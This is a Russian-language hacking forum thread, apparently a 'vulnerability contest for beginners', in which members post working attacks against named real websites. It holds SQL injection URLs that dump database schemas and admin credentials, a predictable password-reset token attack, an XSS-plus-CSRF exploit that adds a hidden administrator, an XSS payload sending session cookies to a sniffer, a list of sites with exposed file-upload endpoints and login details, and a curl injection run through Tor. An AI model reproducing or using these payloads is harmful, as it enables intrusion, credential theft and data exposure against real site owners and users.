Конкурс уязвимостей для новичков

Octavian · 26 Apr 2016

Саит http://www.francophonie.utm.md/
Уязвимость: SQL Injection
Сплоит http://www.francophonie.utm.md/?mop=15&idnews=15+union+select+1,2,3,user(),5,version(),7,8+--+

MaxxWell · 25 Aug 2016

Code:

http://kupigut.ru/shop.php?id=-fashionid%27+union+all+select+1,2,3,4,5,6,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),8,9,10,11,12+--+

Тип: SQL Injection.

==========================================================

Code:

http://hd-ural.ru/news.php?news_id=-48+union+all+select+1,2,3,4,5,6,7,8,9,10,11,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),13,14+--+

Тип: SQL Ijection (вывод в title, Cntr+u)

==========================================================

Code:

http://allrose.ru/category.php?id=-1%27+union+all+select+1,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x)+--+

Тип: SQL Injection

NonBlizz · 28 Aug 2016

ТИЦ: 10 PR: 2
Code:
ttp://heteroworld.com/view_news.php?id=-455%27+union+select+1,concat_ws(database(),user(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16+--+
Вывод таблиц:
Code:
ttp://heteroworld.com/view_news.php?id=-455%27+union+select+1,user(),3,4,5,6,7,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),9,10,11,12,13,14,15,16+--+
Вывод админа:
Code:
ttp://heteroworld.com/view_news.php?id=-455%27+union+select+1,user(),3,4,5,6,7,concat_ws(0x3,username,password),9,10,11,12,13,14,15,16+from+heterodrugs.users+--+
Version (5.5.49-cll-lve)
Database (heterodrugs)
User (hetero582016@localhost)

Для простоты действий:
ttp://heteroworld.com/cpanel/
ttp://heteroworld.com/info.php

P.S в Cpanel с этими данными так и не смог зайти. Кто зальётся отпишитесь=)

PoliGroS · 13 Sep 2016

MaxxWell said: ↑
Code:
http://kupigut.ru/shop.php?id=-fashionid%27+union+all+select+1,2,3,4,5,6,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),8,9,10,11,12+--+
Тип: SQL Injection.
Click to expand...
Запрещено постить уязвимости на сайтах стран СНГ (ru, by, ua).

Для наглядности баллы будут в ручном режиме добавляться в таблицу: https://yarbabin.ru/antichat/ - нет никакой статистики.

Octavian · 26 Mar 2017

Предсказываем отправлений url при восстановлении пароля md5(time()) взламываем любои аккаунт
Code:
https://www.andys.md/ro/pages/login/
http://www.andys.md/pages/restore_pass/24aedcd90a28ae58303e0a8b8906137b/

Octavian · 3 Aug 2017

2 XSS и 1 CSRF беспалевный взлом, Исправили но все таки раскажу )
При осуществление заказа поле имя уязвимо к xss которая срабатывает в панели администратора
Code:
http://supergut.md/ru/pages/cart/3/
Сколько я бы не старался украсть куки они не работали незнаю почему (HttpOnly небыл выставлен к кукам и по IP тоже небыло ограничении)
Решил попробовать CSRF атаку потому что структура админ панели мне было известно, а именно POST CSRF на добавление админа так выглядел сплоит
Code:
<html>
<head>
</head>
   <body onload='document.forms.csrf.submit();'>
     <form action="http://supergut.md/cp/newuser/" name="csrf" method="POST" target="iframe">
       <input type="hidden" name="login" value="<style>tr:last-child{display:none;}</style>">
       <input type="hidden" name="newp" value="1">
       <input type="hidden" name="newp1" value="1">
     </form>
     <iframe src="" style="display:none;" name="iframe" ></iframe>
   </body>
</html>
Почему в логине
Code:
<style>tr:last-child{display:none;}</style> 
потому что так я мог добавлять невидимого юзера через другую инекцию в админке спрятав последнюю строку таблице
Далее я решил использовать и ту же xss из поле имя чтоб средиректить админа на мою CSRF сделал так
Code:
<script>
  location="http://host/csrf.html";
</script>
Не прошло и 5 минут я был уже в админке

После этого была оповещена администрация которая на 2 день профиксела

SooLFaa · 3 Aug 2017

Octavian said: ↑
2 XSS и 1 CSRF беспалевный взлом, Исправили но все таки раскажу )
При осуществление заказа поле имя уязвимо к xss которая срабатывает в панели администратора
Code:
http://supergut.md/ru/pages/cart/3/
Сколько я бы не старался украсть куки они не работали незнаю почему (HttpOnly небыл выставлен к кукам и по IP тоже небыло ограничении)
Решил попробовать CSRF атаку потому что структура админ панели мне было известно, а именно POST CSRF на добавление админа так выглядел сплоит
Code:
<html>
<head>
</head>
   <body onload='document.forms.csrf.submit();'>
     <form action="http://supergut.md/cp/newuser/" name="csrf" method="POST" target="iframe">
       <input type="hidden" name="login" value="<style>tr:last-child{display:none;}</style>">
       <input type="hidden" name="newp" value="1">
       <input type="hidden" name="newp1" value="1">
     </form>
     <iframe src="" style="display:none;" name="iframe" ></iframe>
   </body>
</html>
Почему в логине
Code:
<style>tr:last-child{display:none;}</style> 
потому что так я мог добавлять невидимого юзера через другую инекцию в админке спрятав последнюю строку таблице
Далее я решил использовать и ту же xss из поле имя чтоб средиректить админа на мою CSRF сделал так
Code:
<script>
  location="http://host/csrf.html";
</script>
Не прошло и 5 минут я был уже в админке

После этого была оповещена администрация которая на 2 день профиксела
Click to expand...
Очень хорошая демонстрация, как XSS и CSRF на практике применяется.

Octavian · 29 Aug 2017

Раскрытие данных
Code:
http://www.termosuport.md/admin/

tro0st · 17 Sep 2017

Erpeitupoi said: ↑

Приветствую форумчане, подскажите пожалуйста нубу, можно ли как-то узнать привязана ли к номеру телефона страница в вк? Соррян за оффтоп, пока не могу отвечать в теме "В контакте".
Click to expand...

Восстановление пароля, "не помню номер телефона"(если такое выскачило, то привязана), вводишь данные страницы, ФИО и получаешь ответ на свой вопрос.

Octavian · 17 Sep 2017

BabaDook said: ↑

Будь осторожен с этим.

Click to expand...

Зачем

BigBear · 7 Oct 2017

Octavian said: ↑

Зачем
Click to expand...

MD5( 123456 ) = e10adc3949ba59abbe56e057f20f883e

Я думал, этот хэш все знают наизусть. Смысл его замазывать?)

Octavian · 7 Oct 2017

BigBear said: ↑

MD5( 123456 ) = e10adc3949ba59abbe56e057f20f883e

Я думал, этот хэш все знают наизусть. Смысл его замазывать?)
Click to expand...

бабадука спроси
PS:Сиски тоже видели все но на ютубе их замазывают

f0b0s · 8 Oct 2017

Сайт:http://www.vacbanned.com
Уязвимость: SQL Injection
Эксплойт:
Code:
http://www.vacbanned.com:80/view/detail/id/76561197960265741) AND 3612=3612 AND (8789=8789
MySQL > 5.0.11
available databases [3]:
[*] information_schema
[*] vacbanned_dev
[*] vacbanned_v2

Octavian · 1 Nov 2017

Засунул в инпутах фейка https://wf-code.ru
Code:
"><script>img = new Image(); img.src = "/snif.php?c="+document.cookie+window.location.href;</script><"
Пришло
Code:
Cookie: PHPSESSID=a593cdb6707d2f5992dba251c386c994https://wf-code.ru/yaadmin/full.php
Саит с доменом .ru но думаю простимо потому что фейк

BabaDook · 6 Dec 2017

SSRF Подъехала
Code:
https://us.hidester.co
Кто сможет перейти на другой протокол пишите метод

Octavian · 1 Feb 2018

Arbitrary file upload 1.php.asd

Code:

http://ecaterix.md/ecaterix.md/kcfinder/browse.php
http://www.basukiwater.com/assets/js/mylibs/kcfinder/browse.php
http://www.oonohousing.com/member/user/kcfinder/browse.php
http://www.golfoldcourse.com/kcfinder/browse.php
http://www.careersinmorocco.com/www3/assets/js/ckeditor/kcfinder/browse.php
http://dinamikadwiputraperkasajaya.com/admin/assets/kcfinder/browse.php
http://grossiste-tissus.fr/ckeditor/kcfinder/browse.php
http://ex-theatreasia.com/kcfinder/browse.php
http://tohmei-group.sakura.ne.jp/user_data/packages/admin/js/kcfinder/browse.php
http://www.urfaposet.com/panel/kcfinder/browse.php
http://www.raksthai.org/asset/kcfinder/
http://www.godimex.pl/sklep/design/_js_libs/ckeditor/kcfinder/browse.php
http://hadu.org/kcfinder/browse.php

Гуглом можно насобирать сайтов

Octavian · 1 Feb 2018

BabaDook said: ↑

Если честно, то к сожалению я ничего не понял, распиши пожалуйста где там уязвимость .
Click to expand...

Можем загружать PHP фаилы
L:fm_admin
P:fm_admin
Code:
http://ecaterix.md/ecaterix.md/kcfinder/upload/files/filemanager.php.asd

erwerr2321 · 3 Apr 2018

там оно всё дырявое куда не ткни...
писать бесполезно - пишут, что всё починили и всё работает.
Code:
curl -s -k --proxy socks5://127.0.0.1:9150 http://onesecurity.zyxel.com/php/wizard.php --data "instruction=get_wizards&parameters%5Btype%5D=z%27 union select 1,@@version--+&parameters%5Bdirection%5D=DESC&parameters%5Bget_active%5D=true"
"Microsoft SQL Server 2005 - 9.00.5057.00 (Intel X86) Mar 25 2011 13:50:04 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 6.0 (Build 6002: Service Pack 2)"

BabaDook · 8 Apr 2018

http://polisk.kiev.ua/prod_download.php?id=1+and+false+UnIoN SELect 1,2,user(),4&ext=
http://sclass.kiev.ua/im.php?show=groupsrecifications&kod_group=10)+/*!12345UnIoN*/+SeLEcT+user()+--+-&specifications=W126''
http://xenon77.com.ua/production_list.php?id=-1+UnIoN+SeLEct+1,2,3,4,user(),6,7,8
http://www.newchemistry.ru/himbases...,table_name,0x3a,column_name))),@))),3,4+--+-

karkajoi · 10 Apr 2018

BabaDook said: ↑

XSS
http://www.task.ua/funds/?id=1&language=<script>alert(123);</script>
Click to expand...

+ sql inject
Code:
http://www.task.ua/funds/?id=1&language='and updatexml(NULL,concat(0x0a,(SELECT database())),Null)-- -

Конкурс уязвимостей для новичков

Octavian Elder - Старейшина

MaxxWell Banned

NonBlizz Banned

PoliGroS Member

Octavian Elder - Старейшина

Octavian Elder - Старейшина

SooLFaa Members of Antichat

Octavian Elder - Старейшина

tro0st New Member

Octavian Elder - Старейшина

BigBear Escrow Service
Staff Member Гарант - Escrow Service

Octavian Elder - Старейшина

f0b0s Member

Octavian Elder - Старейшина

BabaDook Well-Known Member

Octavian Elder - Старейшина

Octavian Elder - Старейшина

erwerr2321 Elder - Старейшина

BabaDook Well-Known Member

karkajoi Well-Known Member

массовый взлом сайтов

Взлом сайтов

Useful Searches

Конкурс уязвимостей для новичков

Octavian Elder - Старейшина

MaxxWell Banned

NonBlizz Banned

PoliGroS Member

Octavian Elder - Старейшина

Octavian Elder - Старейшина

SooLFaa Members of Antichat

Octavian Elder - Старейшина

tro0st New Member

Octavian Elder - Старейшина

BigBear Escrow Service Staff Member Гарант - Escrow Service

Octavian Elder - Старейшина

f0b0s Member

Octavian Elder - Старейшина

BabaDook Well-Known Member

Octavian Elder - Старейшина

Octavian Elder - Старейшина

erwerr2321 Elder - Старейшина

BabaDook Well-Known Member

karkajoi Well-Known Member

массовый взлом сайтов

Взлом сайтов

BigBear Escrow Service
Staff Member Гарант - Escrow Service